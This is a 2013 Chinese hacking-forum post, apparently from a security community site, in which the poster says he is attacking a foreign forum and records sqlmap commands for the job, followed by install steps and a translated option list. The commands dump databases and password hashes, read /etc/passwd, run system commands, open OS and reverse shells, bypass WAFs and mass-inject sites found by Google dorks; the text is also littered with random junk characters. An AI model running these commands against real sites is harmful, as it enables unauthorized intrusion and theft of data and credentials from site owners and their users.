找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2628|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
7 H6 e8 |% o) Y  H, ~- s% i" Esqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
: Z% q: c8 x) k, B9 Bsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
. l! L+ {$ f! @3 Ysqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段& B3 c' Y* h/ o* f& r4 _

/ S$ V$ W- D0 `' q! T) g4 ksqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v2 E) f' U  b. `! g
0 #获取字段内容3 m" N: B; P& x( I1 r. k. g0 J
+ H) S3 N2 @5 Y, D! p
******************信息获取******************
9 R; p) e! p5 p6 w  jsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
% J; Y" z' Q7 _% gsqlmap -u “http://url/news?id=1″ –users #列数据库用户% N$ |, `8 Q; s6 D4 k
sqlmap -u “http://url/news?id=1″ –dbs#列数据库2 m) E5 M7 r. \
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码( Y3 a* c, w0 K/ d' I1 C
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
6 P' m8 {5 ]! i. i) d; v1 l, Q3 bsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”# v6 X- {% f, _
–start 1 –stop 20 #列出指定字段,列出20 条
- g  ?; i0 b. \: P6 dsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表& D+ H& r4 ?; |% [$ ]7 S
sqlmap -u “http://url/news?id=1″ –privileges #查看权限  S$ d9 {& F' ~/ S/ F
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
/ k4 P  C0 |: @) bsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
' v+ U% D1 m& D1 B5 q2 f  zsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
0 i/ R( F8 ~$ u  @" T6 t+ G9 Vsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
1 H' B% \0 }9 U- q+ H0 Csqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入7 y/ |7 J+ x* Q' e* G! s
sqlmap -u “http://url/news?id=1″-b #获取banner信息
& D# w' e  u$ l2 h8 o7 f8 Usqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
# K; h" S  E. D0 e5 Y6 Ssqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型# u3 \# c$ a; u- C5 f9 A
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
' G: Q3 V, f# O6 x8 m7 isqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
! m- d% C+ c4 Z" N$ g' s& Dsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
+ J! C; y# [( [  \, y2 T% ssqlmap -u “http://url/news?id=1″ –file /etc/passwd
7 a% k# M' G2 F+ \: D9 B. s% ^sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
1 m2 ~* }6 k" y% R, I4 Ksqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
; S( g, h+ T( y( I% m! E8 Z# _, qsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表+ W8 f( N2 l% n: a- N
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度- u9 u" Q$ R( b+ K
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
9 h8 B9 m: i5 [3 R( N9 _1 [! |***********高级用法*************6 }/ w! S6 b3 f* W  k0 X
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
6 I5 p+ S: t* Tsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
% U# w2 r7 C) ~# f9 ~: n+ a–technique   测试指定注入类型\使用的技术
& F- _+ c, z$ G6 v* R不加参数默认测试所有注入技术
' ?! f0 c; w3 i2 l. U5 O•     B: 基于布尔的SQL 盲注' }# B$ U) C' \% d3 m5 [  f1 ^3 Z
•     E: 基于显错sql 注入: G' G0 l" [! [1 D8 `  K4 e
•     U: 基于UNION 注入2 U8 k) e8 b0 Y4 p
•     S: 叠层sql 注入* c' U/ g$ {: Q: T$ @( R! B
•     T: 基于时间盲注2 s. ~7 H  t8 w8 |$ c) A5 X
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
, C- H. m, R. J–tamper 插件所在目录- {* |7 O$ ^. X2 c/ t: U
\sqlmap-dev\tamper2 }% m, {' F. {' }7 N
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
: n7 p; ?4 ?( P* a& Xlevel 执行测试等级 攻击实例:9 X2 {( U0 R% x" X% ^7 A$ X4 b  u: Q
Sqlmap -u “http://url/news?id=1&Submit=Submit”
$ ^( i7 b5 n* o9 L1 t% A–cookie=”PHPSESSID=41aa833e6d0d9 i% r1 w5 J& w5 H' J
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user2 a$ y9 m: k+ F1 X( d  j3 l( x
–password4 ]9 O0 T  v& P! ]" a
参考文档:http://sqlmap.sourceforge.net/doc/README.html
7 x1 Z! K  N  v5 w$ G" E***********安装最新版本*************
# ~' r. \6 N  Yubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
$ e4 D6 Q. L# Hsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev7 R9 z! g6 u+ _) X
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
* y( ?1 t5 x. Q  F& p# i! f/ xsudo vim /home/当前用户/.bashrc
9 v& \/ w, L( `6 a& @#任意位置加上:/ S" s6 U; x5 O4 z* f. B" H: j) J
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
& n8 n9 D7 d4 s如果想对所有用户有效 可设置全局 编辑下面的文件4 J' W/ U8 u/ ~% j/ V6 w) Z
vim /etc/profile
% q) n  `  L- G( i& V& _' O. m同样加上:
( ?. |$ }' ~& j, q. f' W+ P5 \alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效& K/ D$ e0 [+ t; M  Z* G$ U& B, `
******************windows 7 (x64) sqlmap install (SVN)************) P6 S5 V' g/ R$ V
http://www.python.org/getit/ 安装python+ _% q% ]$ C5 V, B; x
http://www.sliksvn.com/en/download 安装windows svn client  g- j# Z+ A3 l" w% ]  P# o
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev% {$ C2 k5 e) g1 `! P: y1 H
安装sqlmap- r+ l& S; W  {$ I7 N3 {
*修改环境变量
, d' N* n% }0 e( Y* j# O–version             显示程序的版本号并退出, v6 y5 _0 \, K) e
-h, –help            显示此帮助消息并退出
4 ~$ ?. n) j0 u- b! w# y* [5 z, i-v VERBOSE            详细级别:0-6(默认为1)7 x6 z3 p; \1 M6 D0 O
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
; t+ A8 f+ N+ p4 w& B5 d-d DIRECT           直接连接到数据库。% S0 ?/ L- D  b) m
-u URL, –url=URL   目标URL。
) |7 ^1 O+ U: P3 s5 }-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
" X* A0 o+ m6 K* h-r REQUESTFILE      从一个文件中载入HTTP 请求。* ^9 M* G; t! F7 C; H/ K4 d1 n
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。4 `. n! a/ j* a8 I
-c CONFIGFILE       从INI 配置文件中加载选项。( m. l9 _0 _9 p. d" m- }
Request(请求)::" e2 {. J6 G, A
这些选项可以用来指定如何连接到目标URL。
( W1 ~' [# {, e# M$ G, j9 R6 D–data=DATA         通过POST 发送的数据字符串: g  n0 o, q; C3 e* c, P( O. O
–cookie=COOKIE     HTTP Cookie 头
$ z6 `$ s, p6 m* H- i–cookie-urlencode  URL 编码生成的cookie 注入
( o" {$ O3 N! d1 a" p5 c4 g  B–drop-set-cookie   忽略响应的Set –Cookie 头信息
, d" i6 L) F! p* U; D , A6 [0 }& M: k% }* x
–user-agent=AGENT  指定  HTTP User –Agent 头! q& B: {, _! ?) D
–random-agent      使用随机选定的HTTP User –Agent 头
# G. Z% W3 U" m# s–referer=REFERER   指定  HTTP Referer 头2 B7 h& P. C8 l9 \% Y( k
–headers=HEADERS   换行分开,加入其他的HTTP 头
$ ?/ O! T3 _( e4 I& K; H–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
5 L" o  ^; z$ [9 X–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)( b3 j9 A! B1 G% O! @. l
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)0 j  \) A/ i: D! q# }  _  K: j: r
–proxy=PROXY       使用HTTP 代理连接到目标URL, d# b- V+ \$ Q2 p. L
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
' u1 h' S( o: i% e# w+ h–ignore-proxy      忽略系统默认的HTTP 代理
) b: }6 `$ d$ l  s! w–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
4 [0 D+ k( q8 i' j1 `6 T7 Q5 y$ }–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)" ]9 L2 E: B! c9 R
–retries=RETRIES   连接超时后重新连接的时间(默认3)
6 c: e/ {+ r& J; N0 |+ }# h1 x: m" ]–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
* h8 @" v4 w- X: J% D: Q. S–safe-url=SAFURL   在测试过程中经常访问的url 地址0 ]# c; @8 q+ R9 N" r# u
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL! n6 \" W; g/ L- {
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
' Q* m6 H+ s  E& A/ I-o                  开启所有优化开关
, J; W3 v7 v, N6 y–predict-output    预测常见的查询输出
( o) N$ r* }: G1 [* M: I–keep-alive        使用持久的HTTP(S)连接7 E8 W1 B" M) Y+ w; w0 j) V
–null-connection   从没有实际的HTTP 响应体中检索页面长度
* i7 H9 O8 m/ Y1 q# P( T& A4 U# {–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
9 `' F: B; R; d5 ^& KInjection(注入):
+ F- J' T( U8 F; P% M8 G这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。; y5 }. F1 W, v$ C  D8 a
-p TESTPARAMETER    可测试的参数(S)  l7 q% Q8 Q7 d, r
–dbms=DBMS         强制后端的DBMS 为此值' G% e# D2 ?; z8 G, r0 N  m
–os=OS             强制后端的DBMS 操作系统为这个值
3 D# x3 z" K* @1 B: q–prefix=PREFIX     注入payload 字符串前缀
5 u& y7 [* [- R9 Q& o–suffix=SUFFIX     注入 payload 字符串后缀
6 w9 S# Q( n2 `5 _, A: S# R–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
( e6 }6 n# a& U  |3 b8 jDetection(检测):
$ K8 f& i0 A8 \) s, K* x' P这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
6 D2 T- Z1 J, J4 z: e–level=LEVEL       执行测试的等级(1-5,默认为1)
4 y% M! K& S, v) r- \& {1 k–risk=RISK         执行测试的风险(0-3,默认为1)
! m( i6 p" @$ ~1 s" v4 P–string=STRING     查询时有效时在页面匹配字符串
! h3 E1 _! |# k1 b6 P–regexp=REGEXP     查询时有效时在页面匹配正则表达式& M4 X' j" X5 _( [% z
–text-only         仅基于在文本内容比较网页' g* C9 o+ t; B4 w( w* T
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
, \# {4 R6 Y4 w+ h/ y! A3 ~–technique=TECH    SQL 注入技术测试(默认BEUST)0 i, b, L0 y% [
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)1 P$ Q6 g( y! t1 l# }: X4 L: m; o% q
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
; h2 R7 h3 T3 S# `9 N–union-char=UCHAR  用于暴力猜解列数的字符( o, s3 k2 N7 q
Fingerprint(指纹):6 M) e( K' K+ k, ^2 l
-f, –fingerprint     执行检查广泛的DBMS 版本指纹6 G4 l$ ]3 U1 z. v- ~1 c
Enumeration(枚举):) N* X9 f7 x. ]  l& S! O
- y$ L% B: b) y9 ~. e: ^) y% v
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。, O, t6 t- k/ d  m% b6 U4 H
-b, –banner        检索数据库管理系统的标识
1 h' q, D. J/ s0 Q& M0 V% J–current-user      检索数据库管理系统当前用户
4 K. n. `5 t9 W' w$ m: A–current-db        检索数据库管理系统当前数据库
/ P+ r/ |6 V8 I" H: Z$ m+ ^–is-dba            检测DBMS 当前用户是否DBA2 A0 p# F+ v. Z- m' ^# o
–users             枚举数据库管理系统用户
: \  _/ A: o3 D1 P2 ?! v) J–passwords         枚举数据库管理系统用户密码哈希
* k; C3 A+ ?  P. C- Z, Q1 }8 c–privileges        枚举数据库管理系统用户的权限  r+ V3 H1 A) H8 x. K0 }* l, ^
–roles             枚举数据库管理系统用户的角色! I+ v+ P4 O! m$ b4 k* O0 O" G
–dbs               枚举数据库管理系统数据库
! ~. _' K2 Z, D; ~0 s–tables            枚举的DBMS 数据库中的表
/ D' C: H3 f: o3 v: ]–columns           枚举DBMS 数据库表列1 ~5 U5 P8 Q6 B( G5 k
–dump              转储数据库管理系统的数据库中的表项; X2 G# {3 ?/ N4 \, U
–dump-all          转储所有的DBMS 数据库表中的条目
& b& C" }: Z$ t–search            搜索列(S),表(S)和/或数据库名称(S)
; A& u% F1 x4 W1 l. d-D DB               要进行枚举的数据库名- s7 I$ n$ \% Y5 J0 E
-T TBL              要进行枚举的数据库表" W- U; [% l0 d4 ?2 B3 }3 q
-C COL              要进行枚举的数据库列
# s; B! P4 Q, q# I: v-U USER             用来进行枚举的数据库用户, P, B  B9 C: D
–exclude-sysdbs    枚举表时排除系统数据库
8 r# s' F  O7 j' W–start=LIMITSTART  第一个查询输出进入检索
/ n% }6 H# w% _% ~0 S9 x( b: x–stop=LIMITSTOP    最后查询的输出进入检索
; u( U7 r0 K8 k$ `–first=FIRSTCHAR   第一个查询输出字的字符检索
! G* F5 p0 y# |5 h( A–last=LASTCHAR     最后查询的输出字字符检索
  |$ l/ z% @7 b, \–sql-query=QUERY   要执行的SQL 语句
; d7 r9 L6 e* l4 S–sql-shell         提示交互式SQL 的shell
9 t- d* k2 x+ h5 X, l2 [Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
+ h) O, o7 m6 V–common-tables     检查存在共同表" n/ I5 s/ r! b7 L$ G! n
–common-columns    检查存在共同列* E+ s! O4 R4 T( A* s9 Y
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。; C+ I# w5 S* x9 A! X+ `7 q
–udf-inject        注入用户自定义函数; C: M4 O4 X3 e# z' d& K& [
–shared-lib=SHLIB  共享库的本地路径) ]: p! c! N  O+ e$ p! i( o2 R; O1 b- v
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。0 {/ v; q' @, g; w" p
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
: u$ L. `$ c0 F# a/ h/ M–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件$ z0 W. a/ o2 g+ \$ o, o
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径* h3 z: K+ I9 Y# q$ p; L* ~* Q
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
* F7 f  _9 Y0 p+ ~0 O–os-cmd=OSCMD      执行操作系统命令9 n! \9 K$ z0 l* S3 I6 l
–os-shell          交互式的操作系统的shell! b( B) E' w; X) z  _$ D7 B( w7 e7 V
–os-pwn            获取一个OOB shell,meterpreter 或VNC
0 c' I; g! c' y" `+ r  B–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
1 Y- n  z* i& r. `$ H' Y1 |–os-bof            存储过程缓冲区溢出利用7 R4 B! ^) X0 c' r$ y/ j
–priv-esc          数据库进程用户权限提升
3 N4 V! X0 i: q+ q7 |) W–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
* |1 o1 C9 R7 K' n! O$ h7 }–tmp-path=TMPPATH  远程临时文件目录的绝对路径
0 C% U3 T' O" X4 f: A3 u. A" v 5 R$ A+ U" G4 k! c* C5 e2 L
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。- R# G) {- M0 o* O7 ?& e0 |9 {
–reg-read          读一个Windows 注册表项值
+ J6 z6 C  |0 o" n/ \1 {–reg-add           写一个Windows 注册表项值数据& o: v$ z4 m* R: {+ V, p. ~
–reg-del           删除Windows 注册表键值
8 D3 f$ a) I1 m" G$ @/ |–reg-key=REGKEY    Windows 注册表键( G5 l, P+ M& k% L. S
–reg-value=REGVAL  Windows 注册表项值0 V- T4 w$ y: P! J) k7 D5 l: L: Q
–reg-data=REGDATA  Windows 注册表键值数据% x- O7 u  M& g+ E
–reg-type=REGTYPE  Windows 注册表项值类型$ s; I6 L# c3 s3 J0 w& p
General(一般): 这些选项可以用来设置一些一般的工作参数。7 z4 [/ g7 U5 v) b& ]6 i
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
, U: r3 [/ H2 r4 A, D% w  M-s SESSIONFILE      保存和恢复检索会话文件的所有数据
9 I$ Q, C! B, _8 X5 v# J, W# R5 ^- K–flush-session     刷新当前目标的会话文件% n" j$ z" v# U0 R4 u
–fresh-queries     忽略在会话文件中存储的查询结果
/ k, O0 c) s% _; f+ {–eta               显示每个输出的预计到达时间  h! {; _; @# L  s. P
–update            更新SqlMap7 {6 k3 t7 q) T
–save              file 保存选项到INI 配置文件
+ w+ j6 C/ H$ j$ l/ k: T6 |  b–batch             从不询问用户输入,使用所有默认配置。
9 k- s: c' O) y. W* XMiscellaneous(杂项):  f; t( s. R- w, @$ R# Z
–beep              发现SQL 注入时提醒- |( O9 i5 g2 r$ a* i2 U
–check-payload     IDS 对注入payloads 的检测测试
; A) s2 R5 A/ Z1 n; B* c- Q–cleanup           SqlMap 具体的UDF 和表清理DBMS
! t  i7 \) d. n5 Q7 g& |4 V8 e! ^–forms             对目标URL 的解析和测试形式" C9 q0 [$ K% K! F3 q) x
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
! M- \2 f, O$ F- j/ C–page-rank         Google dork 结果显示网页排名(PR)0 r# U7 ]4 v9 o' x
–parse-errors      从响应页面解析数据库管理系统的错误消息& B) v- Z0 k0 P! k9 x
–replicate         复制转储的数据到一个sqlite3 数据库
7 W/ k# W5 }" A2 B% n–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址2 ^8 {. |0 o* J
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表